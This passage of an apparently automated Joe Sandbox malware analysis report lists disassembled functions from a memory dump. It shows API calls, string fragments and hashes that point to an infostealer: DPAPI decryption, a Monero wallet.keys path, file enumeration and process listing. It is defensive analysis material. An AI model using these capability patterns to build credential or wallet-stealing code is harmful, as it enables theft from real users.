Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ]o$0I?$G5Y'$\_{k$^V?$n3~$t&^${!qn
API String ID: 0-700155458
Opcode ID: d3e450c94ec49747832adf12c7499c8059aba9eaa0af27c2522bda211c9a1f66
Instruction ID: 1f6ba5c24933cba60d1c9135705c84f329be26c83fad3154877520c2c970371d
Opcode Fuzzy Hash: d3e450c94ec49747832adf12c7499c8059aba9eaa0af27c2522bda211c9a1f66
Instruction Fuzzy Hash: 3BB237F3A0C2049FE304AE2DEC8577ABBE9EF94320F1A453DE6C5C7744E93558018696

Function 00E57B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

GetKeyboardLayoutList.USER32(00000000,00000000,00E605AF), ref: 00E57BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00E57BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00E57C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00E57C62
LocalFree.KERNEL32(00000000), ref: 00E57D22

Strings

/ , xrefs: 00E57C7F

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 59feaa5f4452da3b9a5ad5b0a126daf2bbe9d38d7e258a0f73409ed5a5635ce4
Instruction ID: ada53029ecdc0b0ff7917a69cc2a2dad215df0fc9b4717590c0084e020d811ac
Opcode Fuzzy Hash: 59feaa5f4452da3b9a5ad5b0a126daf2bbe9d38d7e258a0f73409ed5a5635ce4
Instruction Fuzzy Hash: 8D414E71944218ABCB24DB54DC99BEEB3B4FF48701F104699E80972180DB342F89CFA1

Function 00E4E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00E60D73), ref: 00E4E4A2
StrCmpCA.SHLWAPI(?,00E614F8), ref: 00E4E4F2
StrCmpCA.SHLWAPI(?,00E614FC), ref: 00E4E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4EBDF

Strings

\*.*, xrefs: 00E4E44D

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 533c7c4bd7d00b4b5ad22d18a881d83ee2b0467c6216090c59743dafb86e5274
Instruction ID: ac2b8470638e4babcf23546db16f34d57b2b9e668ee2d3dfabee1c9441eacca3
Opcode Fuzzy Hash: 533c7c4bd7d00b4b5ad22d18a881d83ee2b0467c6216090c59743dafb86e5274
Instruction Fuzzy Hash: 2C1246729101189ADB18FB60DC96EED73B9BF54301F445AB9B90A72081EF346F4DCB92

Function 0121EEE2 Relevance: 9.2, Strings: 6, Instructions: 1715COMMON

Download Yara Rule

Strings

$ ~, xrefs: 0121FCB1
_, xrefs: 0122014C
0G/?, xrefs: 0121F9EA
"^[, xrefs: 0121FB1B
Vaw{, xrefs: 0121F77D
d8u, xrefs: 01220298

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "^[$$ ~$0G/?$Vaw{$d8u$_
API String ID: 0-2460952986
Opcode ID: dc8e94737695879acfc08a70c5039ce605f3829b1eb9b93813bfc12754c838e1
Instruction ID: d8a2ef726d853a272a36183916d5f434600a123dd70f7888a859ab9378c7ac12
Opcode Fuzzy Hash: dc8e94737695879acfc08a70c5039ce605f3829b1eb9b93813bfc12754c838e1
Instruction Fuzzy Hash: FAB23AF3A0C2049FE3046E2DEC8567AFBEAEF94320F1A453DE6C4D3744E97598058696

Function 0121B889 Relevance: 9.2, Strings: 6, Instructions: 1652COMMON

Download Yara Rule

Strings

m,, xrefs: 0121BD85
~|/, xrefs: 0121C3CA
AsWo, xrefs: 0121BFA1
FoS, xrefs: 0121BEAE
:j, xrefs: 0121B9FB
ik_, xrefs: 0121B95D

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: AsWo$FoS$~|/$ik_$m,$:j
API String ID: 0-2283191893
Opcode ID: 7674ada3e99e8203aa6b70803612c715ea1f754f4f257e54981328c177f96e64
Instruction ID: 8e89f98f38a2becf0f07adbf1f3be46d4efa99509225b79717596d14cfe953d3
Opcode Fuzzy Hash: 7674ada3e99e8203aa6b70803612c715ea1f754f4f257e54981328c177f96e64
Instruction Fuzzy Hash: 66B2F6F360C2049FE304AE29EC8576AB7E9EF94320F1A493DEAC4C7744E67598018797

Function 00E49AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E49AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00E44EEE,00000000,?), ref: 00E49B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E49B2A
LocalFree.KERNEL32(?,?,?,?,00E44EEE,00000000,?), ref: 00E49B3F

Strings

N, xrefs: 00E49AD4, 00E49AE1, 00E49AF9, 00E49B18, 00E49AE4, 00E49B1B

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N
API String ID: 4291131564-1689755984
Opcode ID: 1ad4cad4ed9ebc98dd22f4dd5dd78a1bf1dfbc2b51b2ba95aebc6151861280bc
Instruction ID: 8dd4471c838957abd0849225a64808e4fd7b5d9864a26e1dc81951be118a3c88
Opcode Fuzzy Hash: 1ad4cad4ed9ebc98dd22f4dd5dd78a1bf1dfbc2b51b2ba95aebc6151861280bc
Instruction Fuzzy Hash: 0E11A4B4240208EFEB10CF64D895FAA77B5FB89704F208059FA159B384C776A901CB54

Function 01219D5C Relevance: 7.9, Strings: 5, Instructions: 1694COMMON

Download Yara Rule

Strings

7%W, xrefs: 0121A30D, 0121A35B
nP~, xrefs: 0121B067
rV*c, xrefs: 0121AB88
}sl, xrefs: 0121AF00
us?V, xrefs: 0121AB11

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7%W$nP~$rV*c$us?V$}sl
API String ID: 0-367618750
Opcode ID: ec506795a10033a60362ee7ffc45f4d58072af18829bba4b9ecaac047bc00e4c
Instruction ID: 1074a998405f0bb2e265c39585dba27327992c8498666dd7089bd4b71c6c9d54
Opcode Fuzzy Hash: ec506795a10033a60362ee7ffc45f4d58072af18829bba4b9ecaac047bc00e4c
Instruction Fuzzy Hash: DBB229F36082109FE304AE2DEC8567AFBEAEFD4320F1A493DE6C5C7744E57598058692

Function 012130B2 Relevance: 7.8, Strings: 5, Instructions: 1562COMMON

Download Yara Rule

Strings

zkWy, xrefs: 0121365F
??o, xrefs: 01213362
vb+s, xrefs: 01213627
-7u, xrefs: 01213E91
\M(2, xrefs: 01213FA6

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ??o$-7u$\M(2$vb+s$zkWy
API String ID: 0-1090226411
Opcode ID: 7cd791347a6c92cc0bcf35e1b22451e6b47c98812094f66f23b4ed56939d4c26
Instruction ID: 3f0230c391c7160c0b5a05781a07260df6b563b231ff62c397b3dc19080a3d83
Opcode Fuzzy Hash: 7cd791347a6c92cc0bcf35e1b22451e6b47c98812094f66f23b4ed56939d4c26
Instruction Fuzzy Hash: 9FB2E4F3A0C204AFE704AE29EC8567AFBE5EF94320F16493DEAC583344E63558158797

Function 00E4C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E4C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E4C87C
lstrcat.KERNEL32(?,00E60B46), ref: 00E4C943
lstrcat.KERNEL32(?,00E60B47), ref: 00E4C957
lstrcat.KERNEL32(?,00E60B4E), ref: 00E4C978

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: a04acdd14b0c9452e18d4c52223a29916fdda612d185e1866de3bbd203ab38e2
Instruction ID: 7aa8fffd51a8a2f6a523855f5765d473cba473af1a5b2e37edc5c11cb13c15c9
Opcode Fuzzy Hash: a04acdd14b0c9452e18d4c52223a29916fdda612d185e1866de3bbd203ab38e2
Instruction Fuzzy Hash: C941827590421AEFCB10DF90DC89BFEB7B8BB88304F1041A9E609B7284D7755A84CF91

Function 00E47240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00E4724D
RtlAllocateHeap.NTDLL(00000000), ref: 00E47254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00E47281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00E472A4
LocalFree.KERNEL32(?), ref: 00E472AE

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4acc1d2df7cd87044bf7ac43df961875be12abe868bd1c05589977c81c49554b
Instruction ID: 66b9bafb98e0ae200fe29e197b7acd89912a428055595701a450df4f68b8652d
Opcode Fuzzy Hash: 4acc1d2df7cd87044bf7ac43df961875be12abe868bd1c05589977c81c49554b
Instruction Fuzzy Hash: 100140B5B44208FBDB20DFD4DD46F9E7778AB44700F104145FB45BB2C4C6B5AA008BA4

Function 00E59600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E5961E
Process32First.KERNEL32(00E60ACA,00000128), ref: 00E59632
Process32Next.KERNEL32(00E60ACA,00000128), ref: 00E59647
StrCmpCA.SHLWAPI(?,00000000), ref: 00E5965C
CloseHandle.KERNEL32(00E60ACA), ref: 00E5967A

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ba30e878712840dcb806fc93c6f168384dc7843901eafd4f06f4cda272bb28bb
Instruction ID: 8752b7217c5b6452f45ecfc2edf30d7dc06fdc15e5cce0dfbdc64fa9ee4caa48
Opcode Fuzzy Hash: ba30e878712840dcb806fc93c6f168384dc7843901eafd4f06f4cda272bb28bb
Instruction Fuzzy Hash: 92017175A10208EBCB20DFA4C848BEDBBF8FF08301F104589A946A7240D7799B48DF50

Function 0120EA76 Relevance: 7.0, Strings: 5, Instructions: 752COMMON

Download Yara Rule

Strings

v]m, xrefs: 0120EBC7
.{K, xrefs: 0120F237
i7, xrefs: 0120EDD0
!~}~, xrefs: 0120ED89
ti?w, xrefs: 0120EC17

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

